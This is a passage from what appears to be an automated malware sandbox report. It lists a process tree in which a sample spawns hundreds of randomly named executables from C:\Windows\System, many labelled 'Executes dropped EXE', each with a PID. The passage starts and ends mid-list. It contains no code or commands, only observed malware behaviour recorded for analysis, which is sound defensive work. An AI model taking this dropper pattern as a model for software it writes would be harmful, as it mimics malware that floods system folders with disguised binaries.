  - Executes dropped EXE
  PID:1636
- C:\Windows\System\dKTFxyr.exe
  C:\Windows\System\dKTFxyr.exe
  2⤵
  - Executes dropped EXE
  PID:536
- C:\Windows\System\uwWAOBN.exe
  C:\Windows\System\uwWAOBN.exe
  2⤵
  - Executes dropped EXE
  PID:1792
- C:\Windows\System\Sqnaklu.exe
  C:\Windows\System\Sqnaklu.exe
  2⤵
  - Executes dropped EXE
  PID:2144
- C:\Windows\System\lRoLZhF.exe
  C:\Windows\System\lRoLZhF.exe
  2⤵
  - Executes dropped EXE
  PID:832
- C:\Windows\System\NASuweU.exe
  C:\Windows\System\NASuweU.exe
  2⤵
  - Executes dropped EXE
  PID:3032
- C:\Windows\System\vJsSRgr.exe
  C:\Windows\System\vJsSRgr.exe
  2⤵
  - Executes dropped EXE
  PID:2492
- C:\Windows\System\bsYvGlw.exe
  C:\Windows\System\bsYvGlw.exe
  2⤵
  - Executes dropped EXE
  PID:1564
- C:\Windows\System\KVOfEBr.exe
  C:\Windows\System\KVOfEBr.exe
  2⤵
  - Executes dropped EXE
  PID:2008
- C:\Windows\System\USPQhHa.exe
  C:\Windows\System\USPQhHa.exe
  2⤵
  - Executes dropped EXE
  PID:1620
- C:\Windows\System\oahckrr.exe
  C:\Windows\System\oahckrr.exe
  2⤵
  - Executes dropped EXE
  PID:2440
- C:\Windows\System\PCINkQa.exe
  C:\Windows\System\PCINkQa.exe
  2⤵
  - Executes dropped EXE
  PID:2964
- C:\Windows\System\kuNsmtk.exe
  C:\Windows\System\kuNsmtk.exe
  2⤵
  - Executes dropped EXE
  PID:1992
- C:\Windows\System\vEDGpPc.exe
  C:\Windows\System\vEDGpPc.exe
  2⤵
  - Executes dropped EXE
  PID:1616
- C:\Windows\System\uAzbJWz.exe
  C:\Windows\System\uAzbJWz.exe
  2⤵
  PID:1744
- C:\Windows\System\gKyjXAk.exe
  C:\Windows\System\gKyjXAk.exe
  2⤵
  - Executes dropped EXE
  PID:2060
- C:\Windows\System\ekZKGBc.exe
  C:\Windows\System\ekZKGBc.exe
  2⤵
  PID:2976
- C:\Windows\System\WYDRxyB.exe
  C:\Windows\System\WYDRxyB.exe
  2⤵
  - Executes dropped EXE
  PID:1504
- C:\Windows\System\LYLhwJF.exe
  C:\Windows\System\LYLhwJF.exe
  2⤵
  PID:3000
- C:\Windows\System\NDbruFb.exe
  C:\Windows\System\NDbruFb.exe
  2⤵
  - Executes dropped EXE
  PID:1160
- C:\Windows\System\wWGXbay.exe
  C:\Windows\System\wWGXbay.exe
  2⤵
  PID:2396
- C:\Windows\System\mcsrNgy.exe
  C:\Windows\System\mcsrNgy.exe
  2⤵
  - Executes dropped EXE
  PID:2112
- C:\Windows\System\PEfQehC.exe
  C:\Windows\System\PEfQehC.exe
  2⤵
  PID:1936
- C:\Windows\System\aeHCqbC.exe
  C:\Windows\System\aeHCqbC.exe
  2⤵
  - Executes dropped EXE
  PID:2904
- C:\Windows\System\caKuSnP.exe
  C:\Windows\System\caKuSnP.exe
  2⤵
  PID:2036
- C:\Windows\System\KsmmiDC.exe
  C:\Windows\System\KsmmiDC.exe
  2⤵
  - Executes dropped EXE
  PID:968
- C:\Windows\System\VTHMtJa.exe
  C:\Windows\System\VTHMtJa.exe
  2⤵
  PID:1716
- C:\Windows\System\SurBzfw.exe
  C:\Windows\System\SurBzfw.exe
  2⤵
  - Executes dropped EXE
  PID:1604
- C:\Windows\System\xaiWgPB.exe
  C:\Windows\System\xaiWgPB.exe
  2⤵
  PID:2748
- C:\Windows\System\VSiVIpX.exe
  C:\Windows\System\VSiVIpX.exe
  2⤵
  - Executes dropped EXE
  PID:2772
- C:\Windows\System\oOvVvSB.exe
  C:\Windows\System\oOvVvSB.exe
  2⤵
  PID:2152
- C:\Windows\System\aYnxKUD.exe
  C:\Windows\System\aYnxKUD.exe
  2⤵
  - Executes dropped EXE
  PID:2968
- C:\Windows\System\bxnLbkS.exe
  C:\Windows\System\bxnLbkS.exe
  2⤵
  PID:1296
- C:\Windows\System\iwwIBOC.exe
  C:\Windows\System\iwwIBOC.exe
  2⤵
  - Executes dropped EXE
  PID:2240
- C:\Windows\System\MZETHJi.exe
  C:\Windows\System\MZETHJi.exe
  2⤵
  PID:2208
- C:\Windows\System\rOuKBHK.exe
  C:\Windows\System\rOuKBHK.exe
  2⤵
  - Executes dropped EXE
  PID:2348
- C:\Windows\System\IkbNytu.exe
  C:\Windows\System\IkbNytu.exe
  2⤵
  PID:2712
- C:\Windows\System\BQOxexS.exe
  C:\Windows\System\BQOxexS.exe
  2⤵
  - Executes dropped EXE
  PID:808
- C:\Windows\System\fFBPzRV.exe
  C:\Windows\System\fFBPzRV.exe
  2⤵
  PID:2668
- C:\Windows\System\XvhYrok.exe
  C:\Windows\System\XvhYrok.exe
  2⤵
  - Executes dropped EXE
  PID:2952
- C:\Windows\System\iWqMeYr.exe
  C:\Windows\System\iWqMeYr.exe
  2⤵
  PID:2700
- C:\Windows\System\JiPVbID.exe
  C:\Windows\System\JiPVbID.exe
  2⤵
  - Executes dropped EXE
  PID:1584
- C:\Windows\System\gnYgOgd.exe
  C:\Windows\System\gnYgOgd.exe
  2⤵
  PID:1780
- C:\Windows\System\iXpTUHY.exe
  C:\Windows\System\iXpTUHY.exe
  2⤵
  - Executes dropped EXE
  PID:1812
- C:\Windows\System\NpgJTGo.exe
  C:\Windows\System\NpgJTGo.exe
  2⤵
  PID:1932
- C:\Windows\System\EJhSzzK.exe
  C:\Windows\System\EJhSzzK.exe
  2⤵
  - Executes dropped EXE
  PID:372
- C:\Windows\System\etDihjP.exe
  C:\Windows\System\etDihjP.exe
  2⤵
  PID:920
- C:\Windows\System\MlvDVbL.exe
  C:\Windows\System\MlvDVbL.exe
  2⤵
  - Executes dropped EXE
  PID:2296
- C:\Windows\System\WpsowmM.exe
  C:\Windows\System\WpsowmM.exe
  2⤵
  PID:484
- C:\Windows\System\LnIcleG.exe
  C:\Windows\System\LnIcleG.exe
  2⤵
  - Executes dropped EXE
  PID:448
- C:\Windows\System\fupzGZO.exe
  C:\Windows\System\fupzGZO.exe
  2⤵
  PID:684
- C:\Windows\System\VkzhGOF.exe
  C:\Windows\System\VkzhGOF.exe
  2⤵
  - Executes dropped EXE
  PID:2480
- C:\Windows\System\lbzAutW.exe
  C:\Windows\System\lbzAutW.exe
  2⤵
  PID:3052
- C:\Windows\System\IkrnMFV.exe
  C:\Windows\System\IkrnMFV.exe
  2⤵
  - Executes dropped EXE
  PID:1672
- C:\Windows\System\dqVCZWC.exe
  C:\Windows\System\dqVCZWC.exe
  2⤵
  PID:2192
- C:\Windows\System\RECxYvO.exe
  C:\Windows\System\RECxYvO.exe
  2⤵
  - Executes dropped EXE
  PID:976
- C:\Windows\System\DbCdDSV.exe
  C:\Windows\System\DbCdDSV.exe
  2⤵
  PID:1700
- C:\Windows\System\NUTpVul.exe
  C:\Windows\System\NUTpVul.exe
  2⤵
  - Executes dropped EXE
  PID:2972
- C:\Windows\System\bcettAF.exe
  C:\Windows\System\bcettAF.exe
  2⤵
  PID:1508
- C:\Windows\System\gZFnRHk.exe
  C:\Windows\System\gZFnRHk.exe
  2⤵
  - Executes dropped EXE
  PID:2920
- C:\Windows\System\XOynHKP.exe
  C:\Windows\System\XOynHKP.exe
  2⤵
  PID:1260
- C:\Windows\System\XjKCjQZ.exe
  C:\Windows\System\XjKCjQZ.exe
  2⤵
  PID:3024
- C:\Windows\System\VSQWnZh.exe
  C:\Windows\System\VSQWnZh.exe
  2⤵
  PID:3084
- C:\Windows\System\JLPWrgr.exe
  C:\Windows\System\JLPWrgr.exe
  2⤵
  PID:3100
- C:\Windows\System\IyZaoUl.exe
  C:\Windows\System\IyZaoUl.exe
  2⤵
  PID:3116
- C:\Windows\System\ldNbWCF.exe
  C:\Windows\System\ldNbWCF.exe
  2⤵
  PID:3132
- C:\Windows\System\TpdoAlM.exe
  C:\Windows\System\TpdoAlM.exe
  2⤵
  PID:3148
- C:\Windows\System\JTHVfuB.exe
  C:\Windows\System\JTHVfuB.exe
  2⤵
  PID:3164
- C:\Windows\System\fNwxCaU.exe
  C:\Windows\System\fNwxCaU.exe
  2⤵
  PID:3180
- C:\Windows\System\ngZTUNU.exe
  C:\Windows\System\ngZTUNU.exe
  2⤵
  PID:3196
- C:\Windows\System\ISlntYE.exe
  C:\Windows\System\ISlntYE.exe
  2⤵
  PID:3212
- C:\Windows\System\nnlPTRW.exe
  C:\Windows\System\nnlPTRW.exe
  2⤵
  PID:3228
- C:\Windows\System\QAersNy.exe
  C:\Windows\System\QAersNy.exe
  2⤵
  PID:3244
- C:\Windows\System\HipTIhR.exe
  C:\Windows\System\HipTIhR.exe
  2⤵
  PID:3260
- C:\Windows\System\BYYSliX.exe
  C:\Windows\System\BYYSliX.exe
  2⤵
  PID:3276
- C:\Windows\System\yEOPHLJ.exe
  C:\Windows\System\yEOPHLJ.exe
  2⤵
  PID:3292
- C:\Windows\System\VyUjdEc.exe
  C:\Windows\System\VyUjdEc.exe
  2⤵
  PID:3308
- C:\Windows\System\RLlAoKw.exe
  C:\Windows\System\RLlAoKw.exe
  2⤵
  PID:3324
- C:\Windows\System\hFkBeIh.exe
  C:\Windows\System\hFkBeIh.exe
  2⤵
  PID:3340
- C:\Windows\System\KWiVFLC.exe
  C:\Windows\System\KWiVFLC.exe
  2⤵
  PID:3356
- C:\Windows\System\ziGMJbu.exe
  C:\Windows\System\ziGMJbu.exe
  2⤵
  PID:3372
- C:\Windows\System\aoDSxzQ.exe
  C:\Windows\System\aoDSxzQ.exe
  2⤵
  PID:3388
- C:\Windows\System\XjvvmXX.exe
  C:\Windows\System\XjvvmXX.exe
  2⤵
  PID:3404
- C:\Windows\System\VsakxCg.exe
  C:\Windows\System\VsakxCg.exe
  2⤵
  PID:3420
- C:\Windows\System\ouXqdsZ.exe
  C:\Windows\System\ouXqdsZ.exe
  2⤵
  PID:3436
- C:\Windows\System\vjtAaOG.exe
  C:\Windows\System\vjtAaOG.exe
  2⤵
  PID:3452
- C:\Windows\System\dIQRugi.exe
  C:\Windows\System\dIQRugi.exe
  2⤵
  PID:3468
- C:\Windows\System\ihCYhfQ.exe
  C:\Windows\System\ihCYhfQ.exe
  2⤵
  PID:3488
- C:\Windows\System\PtNbSsg.exe
  C:\Windows\System\PtNbSsg.exe
  2⤵
  PID:3504
- C:\Windows\System\dRsAozC.exe
  C:\Windows\System\dRsAozC.exe
  2⤵
  PID:3520
- C:\Windows\System\tjDCDqZ.exe
  C:\Windows\System\tjDCDqZ.exe
  2⤵
  PID:3536
- C:\Windows\System\VHUgYSE.exe
  C:\Windows\System\VHUgYSE.exe
  2⤵
  PID:3556
- C:\Windows\System\LUhkwuP.exe
  C:\Windows\System\LUhkwuP.exe
  2⤵
  PID:3572
- C:\Windows\System\ajqgtMQ.exe
  C:\Windows\System\ajqgtMQ.exe
  2⤵
  PID:3588
- C:\Windows\System\qHyUqEm.exe
  C:\Windows\System\qHyUqEm.exe
  2⤵
  PID:3604
- C:\Windows\System\HsUYpbZ.exe
  C:\Windows\System\HsUYpbZ.exe
  2⤵
  PID:3620
- C:\Windows\System\wSXxUSN.exe
  C:\Windows\System\wSXxUSN.exe
  2⤵
  PID:3636
- C:\Windows\System\DKQgsWP.exe
  C:\Windows\System\DKQgsWP.exe
  2⤵
  PID:3652
- C:\Windows\System\oSGBkyx.exe
  C:\Windows\System\oSGBkyx.exe
  2⤵
  PID:3668
- C:\Windows\System\WGTeqaL.exe
  C:\Windows\System\WGTeqaL.exe
  2⤵
  PID:3684
- C:\Windows\System\apLXwhO.exe
  C:\Windows\System\apLXwhO.exe
  2⤵
  PID:3700
- C:\Windows\System\ouKgvfQ.exe
  C:\Windows\System\ouKgvfQ.exe
  2⤵
  PID:3716
- C:\Windows\System\VRYqdRF.exe
  C:\Windows\System\VRYqdRF.exe
  2⤵
  PID:3732
- C:\Windows\System\NIklmQp.exe
  C:\Windows\System\NIklmQp.exe
  2⤵
  PID:3748
- C:\Windows\System\gHeQAcj.exe
  C:\Windows\System\gHeQAcj.exe
  2⤵
  PID:3764
- C:\Windows\System\bntgDEL.exe
  C:\Windows\System\bntgDEL.exe
  2⤵
  PID:3780
- C:\Windows\System\hjcTAuD.exe
  C:\Windows\System\hjcTAuD.exe
  2⤵
  PID:3796
- C:\Windows\System\QlnIuDT.exe
  C:\Windows\System\QlnIuDT.exe
  2⤵
  PID:3812
- C:\Windows\System\DAuGVqT.exe
  C:\Windows\System\DAuGVqT.exe
  2⤵
  PID:3828
- C:\Windows\System\MXybNPm.exe
  C:\Windows\System\MXybNPm.exe
  2⤵
  PID:3844
- C:\Windows\System\VDtAnge.exe
  C:\Windows\System\VDtAnge.exe
  2⤵
  PID:3860
- C:\Windows\System\ZDAFktK.exe
  C:\Windows\System\ZDAFktK.exe
  2⤵
  PID:3876
- C:\Windows\System\mYAUWli.exe
  C:\Windows\System\mYAUWli.exe
  2⤵
  PID:3892
- C:\Windows\System\ZaOuffk.exe
  C:\Windows\System\ZaOuffk.exe
  2⤵
  PID:3908
- C:\Windows\System\NJUXwMw.exe
  C:\Windows\System\NJUXwMw.exe
  2⤵
  PID:3924
- C:\Windows\System\uQkPbes.exe
  C:\Windows\System\uQkPbes.exe
  2⤵
  PID:3940
- C:\Windows\System\lvQbxdC.exe
  C:\Windows\System\lvQbxdC.exe
  2⤵
  PID:3956
- C:\Windows\System\WtFprGv.exe
  C:\Windows\System\WtFprGv.exe
  2⤵
  PID:3972
- C:\Windows\System\IFxNDpx.exe
  C:\Windows\System\IFxNDpx.exe
  2⤵
  PID:3988
- C:\Windows\System\CGvYuAv.exe
  C:\Windows\System\CGvYuAv.exe
  2⤵
  PID:4004
- C:\Windows\System\rdmzkqY.exe
  C:\Windows\System\rdmzkqY.exe
  2⤵
  PID:4020
- C:\Windows\System\gKVjDIe.exe
  C:\Windows\System\gKVjDIe.exe
  2⤵
  PID:4036
- C:\Windows\System\girjBVj.exe
  C:\Windows\System\girjBVj.exe
  2⤵
  PID:4052
- C:\Windows\System\yvNENTU.exe
  C:\Windows\System\yvNENTU.exe
  2⤵
  PID:4068
- C:\Windows\System\LovQFJx.exe
  C:\Windows\System\LovQFJx.exe
  2⤵
  PID:4084
- C:\Windows\System\joBfoce.exe
  C:\Windows\System\joBfoce.exe
  2⤵
  PID:1280
- C:\Windows\System\OQqFalo.exe
  C:\Windows\System\OQqFalo.exe
  2⤵
  PID:1488
- C:\Windows\System\GMRhbOB.exe
  C:\Windows\System\GMRhbOB.exe
  2⤵
  PID:1948
- C:\Windows\System\Qoffdjk.exe
  C:\Windows\System\Qoffdjk.exe
  2⤵
  PID:2948
- C:\Windows\System\YroSMqt.exe
  C:\Windows\System\YroSMqt.exe
  2⤵
  PID:1996
- C:\Windows\System\KfHIloY.exe
  C:\Windows\System\KfHIloY.exe
  2⤵
  PID:3036
- C:\Windows\System\tuNxapE.exe
  C:\Windows\System\tuNxapE.exe
  2⤵
  PID:2892
- C:\Windows\System\gTYmtkJ.exe
  C:\Windows\System\gTYmtkJ.exe
  2⤵
  PID:1600
- C:\Windows\System\HeemniE.exe
  C:\Windows\System\HeemniE.exe
  2⤵
  PID:3112
- C:\Windows\System\bJSEVEv.exe
  C:\Windows\System\bJSEVEv.exe
  2⤵
  PID:3176
- C:\Windows\System\DgSKVVV.exe
  C:\Windows\System\DgSKVVV.exe
  2⤵
  PID:3240
- C:\Windows\System\LTHIcYo.exe
  C:\Windows\System\LTHIcYo.exe
  2⤵
  PID:3304
- C:\Windows\System\QUIuYMi.exe
  C:\Windows\System\QUIuYMi.exe
  2⤵
  PID:3368
- C:\Windows\System\ISQOBTK.exe
  C:\Windows\System\ISQOBTK.exe
  2⤵
  PID:3432
- C:\Windows\System\Ojzjwpk.exe
  C:\Windows\System\Ojzjwpk.exe
  2⤵
  PID:2744
- C:\Windows\System\lxcGZtK.exe
  C:\Windows\System\lxcGZtK.exe
  2⤵
  PID:2768
- C:\Windows\System\zStkFQU.exe
  C:\Windows\System\zStkFQU.exe
  2⤵
  PID:2564
- C:\Windows\System\vghKgyB.exe
  C:\Windows\System\vghKgyB.exe
  2⤵
  PID:1952
- C:\Windows\System\oYvKAsS.exe
  C:\Windows\System\oYvKAsS.exe
  2⤵
  PID:3500
- C:\Windows\System\hpxXWUj.exe
  C:\Windows\System\hpxXWUj.exe
  2⤵
  PID:3532
- C:\Windows\System\gGwOtcN.exe
  C:\Windows\System\gGwOtcN.exe
  2⤵
  PID:1264
- C:\Windows\System\PGVqEXa.exe
  C:\Windows\System\PGVqEXa.exe
  2⤵
  PID:3628
- C:\Windows\System\LnUCnWl.exe
  C:\Windows\System\LnUCnWl.exe
  2⤵
  PID:3660
- C:\Windows\System\sooQpWu.exe
  C:\Windows\System\sooQpWu.exe
  2⤵
  PID:3696
- C:\Windows\System\KaDCbSy.exe
  C:\Windows\System\KaDCbSy.exe
  2⤵
  PID:3756
- C:\Windows\System\mGOmqPv.exe
  C:\Windows\System\mGOmqPv.exe
  2⤵
  PID:3820
- C:\Windows\System\xftNhVs.exe
  C:\Windows\System\xftNhVs.exe
  2⤵
  PID:3884
- C:\Windows\System\sMhahQk.exe
  C:\Windows\System\sMhahQk.exe
  2⤵
  PID:3948
- C:\Windows\System\chJefoB.exe
  C:\Windows\System\chJefoB.exe
  2⤵
  PID:3980
- C:\Windows\System\DwFBlet.exe
  C:\Windows\System\DwFBlet.exe
  2⤵
  PID:4016
- C:\Windows\System\GtQksnk.exe
  C:\Windows\System\GtQksnk.exe
  2⤵
  PID:4076
- C:\Windows\System\weNKxOo.exe
  C:\Windows\System\weNKxOo.exe
  2⤵
  PID:2200
- C:\Windows\System\ZOQgShl.exe
  C:\Windows\System\ZOQgShl.exe
  2⤵
  PID:2080
- C:\Windows\System\nSkvNjy.exe
  C:\Windows\System\nSkvNjy.exe
  2⤵
  PID:3172
- C:\Windows\System\PSVqygA.exe
  C:\Windows\System\PSVqygA.exe
  2⤵
  PID:3300
- C:\Windows\System\qslxICX.exe
  C:\Windows\System\qslxICX.exe
  2⤵
  PID:1856
- C:\Windows\System\ckhgpuW.exe
  C:\Windows\System\ckhgpuW.exe
  2⤵
  PID:3040
- C:\Windows\System\NpHNlql.exe
  C:\Windows\System\NpHNlql.exe
  2⤵
  PID:2984
- C:\Windows\System\bqGnKdQ.exe
  C:\Windows\System\bqGnKdQ.exe
  2⤵
  PID:3596
- C:\Windows\System\KBHIzNx.exe
  C:\Windows\System\KBHIzNx.exe
  2⤵
  PID:3788
- C:\Windows\System\sWcIUcO.exe
  C:\Windows\System\sWcIUcO.exe
  2⤵
  PID:2284
- C:\Windows\System\WIsJUpD.exe
  C:\Windows\System\WIsJUpD.exe
  2⤵
  PID:4100
- C:\Windows\System\dpTTrVT.exe
  C:\Windows\System\dpTTrVT.exe
  2⤵
  PID:4116
- C:\Windows\System\gZJilWw.exe
  C:\Windows\System\gZJilWw.exe
  2⤵
  PID:4132
- C:\Windows\System\AysHDFp.exe
  C:\Windows\System\AysHDFp.exe
  2⤵
  PID:4148
- C:\Windows\System\cPNciml.exe
  C:\Windows\System\cPNciml.exe
  2⤵
  PID:4164
- C:\Windows\System\ukTPzvq.exe
  C:\Windows\System\ukTPzvq.exe
  2⤵
  PID:4180
- C:\Windows\System\pWfCcbh.exe
  C:\Windows\System\pWfCcbh.exe
  2⤵
  PID:4196
- C:\Windows\System\hylhjWG.exe
  C:\Windows\System\hylhjWG.exe
  2⤵
  PID:4212
- C:\Windows\System\HYCJWoL.exe
  C:\Windows\System\HYCJWoL.exe
  2⤵
  PID:4228
- C:\Windows\System\KnoyQPH.exe
  C:\Windows\System\KnoyQPH.exe
  2⤵
  PID:4244
- C:\Windows\System\aLqDzDb.exe
  C:\Windows\System\aLqDzDb.exe
  2⤵
  PID:4260
- C:\Windows\System\RQlkaYv.exe
  C:\Windows\System\RQlkaYv.exe
  2⤵
  PID:4276
- C:\Windows\System\dFNJJND.exe
  C:\Windows\System\dFNJJND.exe
  2⤵
  PID:4292
- C:\Windows\System\chKuvdr.exe
  C:\Windows\System\chKuvdr.exe
  2⤵
  PID:4308
- C:\Windows\System\tLZFRqc.exe
  C:\Windows\System\tLZFRqc.exe
  2⤵
  PID:4324
- C:\Windows\System\JTQkqaG.exe
  C:\Windows\System\JTQkqaG.exe
  2⤵
  PID:4340
- C:\Windows\System\jCAQjRB.exe
  C:\Windows\System\jCAQjRB.exe
  2⤵
  PID:4356
- C:\Windows\System\vLMbRGO.exe
  C:\Windows\System\vLMbRGO.exe
  2⤵
  PID:4372
- C:\Windows\System\gbYWhFm.exe
  C:\Windows\System\gbYWhFm.exe
  2⤵
  PID:4388
- C:\Windows\System\VTGZDzC.exe
  C:\Windows\System\VTGZDzC.exe
  2⤵
  PID:4404
- C:\Windows\System\mlyHMYE.exe
  C:\Windows\System\mlyHMYE.exe
  2⤵
  PID:4420
- C:\Windows\System\xBcDVao.exe
  C:\Windows\System\xBcDVao.exe
  2⤵
  PID:4436
- C:\Windows\System\SNxUYJd.exe
  C:\Windows\System\SNxUYJd.exe
  2⤵
  PID:4452
- C:\Windows\System\InbykuG.exe
  C:\Windows\System\InbykuG.exe
  2⤵
  PID:4468
- C:\Windows\System\nkAXXCF.exe
  C:\Windows\System\nkAXXCF.exe
  2⤵
  PID:4484
- C:\Windows\System\tEGXlYG.exe
  C:\Windows\System\tEGXlYG.exe
  2⤵
  PID:4500
- C:\Windows\System\dOISNEz.exe
  C:\Windows\System\dOISNEz.exe
  2⤵
  PID:4516
- C:\Windows\System\esTjnHH.exe
  C:\Windows\System\esTjnHH.exe
  2⤵
  PID:4536
- C:\Windows\System\ZCOvZlP.exe
  C:\Windows\System\ZCOvZlP.exe
  2⤵
  PID:4552
- C:\Windows\System\nMJwTPv.exe
  C:\Windows\System\nMJwTPv.exe
  2⤵
  PID:4568
- C:\Windows\System\EwIEkPF.exe
  C:\Windows\System\EwIEkPF.exe
  2⤵
  PID:4584
- C:\Windows\System\bXCzxSs.exe
  C:\Windows\System\bXCzxSs.exe
  2⤵
  PID:4600
- C:\Windows\System\KzkBjJk.exe
  C:\Windows\System\KzkBjJk.exe
  2⤵
  PID:4616
- C:\Windows\System\ZsHaUOn.exe
  C:\Windows\System\ZsHaUOn.exe
  2⤵
  PID:4632
- C:\Windows\System\QzrfKyz.exe
  C:\Windows\System\QzrfKyz.exe
  2⤵
  PID:4648
- C:\Windows\System\BAGNJvd.exe
  C:\Windows\System\BAGNJvd.exe
  2⤵
  PID:4664
- C:\Windows\System\TZzMYbi.exe
  C:\Windows\System\TZzMYbi.exe
  2⤵
  PID:4680
- C:\Windows\System\fOiElBD.exe
  C:\Windows\System\fOiElBD.exe
  2⤵
  PID:4696
- C:\Windows\System\TiwMruD.exe
  C:\Windows\System\TiwMruD.exe
  2⤵
  PID:4712
- C:\Windows\System\vlidKQI.exe
  C:\Windows\System\vlidKQI.exe
  2⤵
  PID:4728
- C:\Windows\System\wSbIIiH.exe
  C:\Windows\System\wSbIIiH.exe
  2⤵
  PID:4744
- C:\Windows\System\gWHANwI.exe
  C:\Windows\System\gWHANwI.exe
  2⤵
  PID:4760
- C:\Windows\System\lQHsjTt.exe
  C:\Windows\System\lQHsjTt.exe
  2⤵
  PID:4776
- C:\Windows\System\OzpGKyn.exe
  C:\Windows\System\OzpGKyn.exe
  2⤵
  PID:4792
- C:\Windows\System\RqOjJCY.exe
  C:\Windows\System\RqOjJCY.exe
  2⤵
  PID:4808
- C:\Windows\System\lqniZxm.exe
  C:\Windows\System\lqniZxm.exe
  2⤵
  PID:4824
- C:\Windows\System\nldfyVJ.exe
  C:\Windows\System\nldfyVJ.exe
  2⤵
  PID:4840
- C:\Windows\System\ZOAvDlu.exe
  C:\Windows\System\ZOAvDlu.exe
  2⤵
  PID:4856
- C:\Windows\System\XuQzQbH.exe
  C:\Windows\System\XuQzQbH.exe
  2⤵
  PID:4872
- C:\Windows\System\rrUyXXb.exe
  C:\Windows\System\rrUyXXb.exe
  2⤵
  PID:4888
- C:\Windows\System\qghygCt.exe
  C:\Windows\System\qghygCt.exe
  2⤵
  PID:4904
- C:\Windows\System\NTXPTtK.exe
  C:\Windows\System\NTXPTtK.exe
  2⤵
  PID:4920
- C:\Windows\System\mxmCexJ.exe
  C:\Windows\System\mxmCexJ.exe
  2⤵
  PID:4936
- C:\Windows\System\rndhQDM.exe
  C:\Windows\System\rndhQDM.exe
  2⤵
  PID:4952
- C:\Windows\System\ZmJoquX.exe
  C:\Windows\System\ZmJoquX.exe
  2⤵
  PID:4968
- C:\Windows\System\hIJmhdG.exe
  C:\Windows\System\hIJmhdG.exe
  2⤵
  PID:4984
- C:\Windows\System\vMqZWyw.exe
  C:\Windows\System\vMqZWyw.exe
  2⤵
  PID:5000
- C:\Windows\System\ufzIEZy.exe
  C:\Windows\System\ufzIEZy.exe
  2⤵
  PID:5016
- C:\Windows\System\CGFqApq.exe
  C:\Windows\System\CGFqApq.exe
  2⤵
  PID:5032
- C:\Windows\System\HrSYnTL.exe
  C:\Windows\System\HrSYnTL.exe
  2⤵
  PID:5048
- C:\Windows\System\LodmMxI.exe
  C:\Windows\System\LodmMxI.exe
  2⤵
  PID:5064
- C:\Windows\System\lADPNed.exe
  C:\Windows\System\lADPNed.exe
  2⤵
  PID:5080
- C:\Windows\System\ygbxMOR.exe
  C:\Windows\System\ygbxMOR.exe
  2⤵
  PID:5096
- C:\Windows\System\sGwxkDl.exe
  C:\Windows\System\sGwxkDl.exe
  2⤵
  PID:5112
- C:\Windows\System\GpHDgWz.exe
  C:\Windows\System\GpHDgWz.exe
  2⤵
  PID:3400
- C:\Windows\System\REKjsCQ.exe
  C:\Windows\System\REKjsCQ.exe
  2⤵
  PID:3692
- C:\Windows\System\lLFiFLA.exe
  C:\Windows\System\lLFiFLA.exe
  2⤵
  PID:4124
- C:\Windows\System\VYTNhqC.exe
  C:\Windows\System\VYTNhqC.exe
  2⤵
  PID:4188
- C:\Windows\System\kYRizCr.exe
  C:\Windows\System\kYRizCr.exe
  2⤵
  PID:1680
- C:\Windows\System\ushHXIS.exe
  C:\Windows\System\ushHXIS.exe
  2⤵
  PID:4288
- C:\Windows\System\hatioQQ.exe
  C:\Windows\System\hatioQQ.exe
  2⤵
  PID:4320
- C:\Windows\System\EKitfMy.exe
  C:\Windows\System\EKitfMy.exe
  2⤵
  PID:2736
- C:\Windows\System\frnSKme.exe
  C:\Windows\System\frnSKme.exe
  2⤵
  PID:4444
- C:\Windows\System\OCszJqi.exe
  C:\Windows\System\OCszJqi.exe
  2⤵
  PID:4508
- C:\Windows\System\ISvKLEB.exe
  C:\Windows\System\ISvKLEB.exe
  2⤵
  PID:4544
- C:\Windows\System\AkYyyDF.exe
  C:\Windows\System\AkYyyDF.exe
  2⤵
  PID:4580
- C:\Windows\System\pxIZmqG.exe
  C:\Windows\System\pxIZmqG.exe
  2⤵
  PID:2508
- C:\Windows\System\PGbGqbe.exe
  C:\Windows\System\PGbGqbe.exe
  2⤵
  PID:2504
- C:\Windows\System\zdKXPbo.exe
  C:\Windows\System\zdKXPbo.exe
  2⤵
  PID:2560
- C:\Windows\System\RlmVzQA.exe
  C:\Windows\System\RlmVzQA.exe
  2⤵
  PID:4736
- C:\Windows\System\VyUGHBg.exe
  C:\Windows\System\VyUGHBg.exe
  2⤵
  PID:4740
- C:\Windows\System\eDBOhgv.exe
  C:\Windows\System\eDBOhgv.exe
  2⤵
  PID:4804
- C:\Windows\System\vtAnZzZ.exe
  C:\Windows\System\vtAnZzZ.exe
  2⤵
  PID:4868
- C:\Windows\System\SCgmwyo.exe
  C:\Windows\System\SCgmwyo.exe
  2⤵
  PID:4932
- C:\Windows\System\yEPdLGa.exe
  C:\Windows\System\yEPdLGa.exe
  2⤵
  PID:4996
- C:\Windows\System\BzAvcPB.exe
  C:\Windows\System\BzAvcPB.exe
  2⤵
  PID:5060
- C:\Windows\System\AAPIwpn.exe
  C:\Windows\System\AAPIwpn.exe
  2⤵
  PID:3144
- C:\Windows\System\HSyCLwA.exe
  C:\Windows\System\HSyCLwA.exe
  2⤵
  PID:4224
- C:\Windows\System\yrzVUnT.exe
  C:\Windows\System\yrzVUnT.exe
  2⤵
  PID:4412
- C:\Windows\System\QaINXQx.exe
  C:\Windows\System\QaINXQx.exe
  2⤵
  PID:4608
- C:\Windows\System\HxAWAgq.exe
  C:\Windows\System\HxAWAgq.exe
  2⤵
  PID:2004
- C:\Windows\System\nraZHkv.exe
  C:\Windows\System\nraZHkv.exe
  2⤵
  PID:4964
- C:\Windows\System\upUjUlr.exe
  C:\Windows\System\upUjUlr.exe
  2⤵
  PID:1384
- C:\Windows\System\lQTgUPK.exe
  C:\Windows\System\lQTgUPK.exe
  2⤵
  PID:4676
- C:\Windows\System\MMYdVmW.exe
  C:\Windows\System\MMYdVmW.exe
  2⤵
  PID:2720
- C:\Windows\System\UaHCfBY.exe
  C:\Windows\System\UaHCfBY.exe
  2⤵
  PID:5136
- C:\Windows\System\PMytVqf.exe
  C:\Windows\System\PMytVqf.exe
  2⤵
  PID:5152
- C:\Windows\System\KSsEkYf.exe
  C:\Windows\System\KSsEkYf.exe
  2⤵
  PID:5168
- C:\Windows\System\ZMkMAuR.exe
  C:\Windows\System\ZMkMAuR.exe
  2⤵
  PID:5184
- C:\Windows\System\cwpjrjH.exe
  C:\Windows\System\cwpjrjH.exe
  2⤵
  PID:5200
- C:\Windows\System\MNsjmWe.exe
  C:\Windows\System\MNsjmWe.exe
  2⤵
  PID:5216
- C:\Windows\System\aqMLdsy.exe
  C:\Windows\System\aqMLdsy.exe
  2⤵
  PID:5232
- C:\Windows\System\FSABKvp.exe
  C:\Windows\System\FSABKvp.exe
  2⤵
